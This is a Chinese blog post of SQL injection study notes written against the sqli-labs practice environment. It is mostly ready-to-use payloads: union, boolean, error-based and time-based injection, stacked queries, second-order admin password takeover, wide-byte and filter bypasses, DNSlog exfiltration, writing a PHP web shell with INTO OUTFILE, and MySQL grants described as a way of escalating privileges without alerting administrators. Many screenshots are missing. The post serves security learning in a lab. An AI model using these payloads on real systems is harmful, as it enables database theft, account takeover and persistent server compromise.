SQL注入一些形式

Union注入

http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

构造的sql语句

http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user()--+

在这里插入图片描述

Boolean注入

构造一些判读语句

http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and length(database())=8--+

在这里插入图片描述

http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and substr(database(),1,1)='s'--+

在这里插入图片描述
构造的语句可以有不同的形式

报错注入

http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

其他报错函数

and extractvalue(1,concat(0x7e,(database())))#
floor()函数
1' and (select 2 from (select count(*),concat(version(),floor(rand(*)*2))x from information_schema.tables group by x)a)#

在这里插入图片描述

sleep注入

用sleep if 进行判断

http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and if(database()='security',sleep(100),null)--+

在这里插入图片描述

堆叠注入

用 ;连接多个 SQL语句,执行多条语句

http://192.168.31.34/sqli-labs-master/Less-38/?id='; insert into users(id,username,password)values('10000','lqs','lqs')--+

在这里插入图片描述

二次注入

在这里插入图片描述

通过SQL修改已有账户
注册一个admin'#的账号。
登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆
在这里插入图片描述
在这里插入图片描述

二次编码注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

宽字节注入

数据库GBK编码时,地址后加 %df ,反斜杠编码为%5c,%df%5c是一个特殊字符,吃掉用来转义的反斜杠
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

http://192.168.31.34/sqli-labs-master/Less-32/?id=%df%27 union select 1,database(),3 %23

在这里插入图片描述

注入位置--cookie注入

在这里插入图片描述

注入位置--refer

在这里插入图片描述

注入位置--user-agent

在这里插入图片描述

注入位置--xff头

在http请求头的X-Forward-for处注入

特殊注入--base64编码后注入

在这里插入图片描述
在这里插入图片描述

Dnslog注入

工具:dnslogsql.py
在这里插入图片描述

1.DNSlog盲注原理
在这里插入图片描述
DNS:将域名解析到IP地址
DNSLOG:记录访问的域名信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
回显记录在DNSlog平台
目标服务器是Windows系统
示范:
数据库运行该语句
在这里插入图片描述
在这里插入图片描述

回到平台
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
出现数据库名

对表名,列名进行暴力破解

例如:
1' and exists(select * from aa)# 破解表名
1' and exists(select id from users)# 对列名进行破解

读文件

select load_file()

通过写入木马,实现控制

写入条件:
1.知道远程目录
2.远程目录有写入权限
3.数据库开启了secure_file_priv
函数:
select 1,2,'' into outfile "/var/www/html/shell.php" #

提权语句

增加账户有可能引起管理员怀疑,可以给已有的账户提权

grant all privileges on *.* to admin@`%` indentified by 'abc';
创建一个从任意IP登录的超级用户
mysql -h 192.1689.233.128 -uadmin -pabc
验证
grant select,insert on *.* to admin2@`%` indentified by 'abc';
创建一个有select insert 权限的用户

一些绕过

1.大小写,如:oorr
2.双写绕过 ,如:seselectlect
3.宽字节形式
4.编码后绕过:关键字and被拦截,使用URL全编码,由于服务器会进行一次URL解码,所以把关键字编码两次
5.内联注释 id=1 / * ! and * / 1=1
6.字符绕过:制表符,换行符,括号,反引号,/ * * /
7.等价函数字符如: like或 in 代替= ,sleep用benchmark代替,ascii用hex,bin代替
8.过滤空格,使用%a0代替空格
9.括号代替空格
10.%09 TAB %0a新建一行 %0c 新的一页 %0d return %a0空格 / * * /代替空格



作者水平有限,文章可能存在错误, 希望大家多多包含

posted @ 2021-07-30 17:05  1ucifer  阅读(60)  评论(0编辑  收藏  举报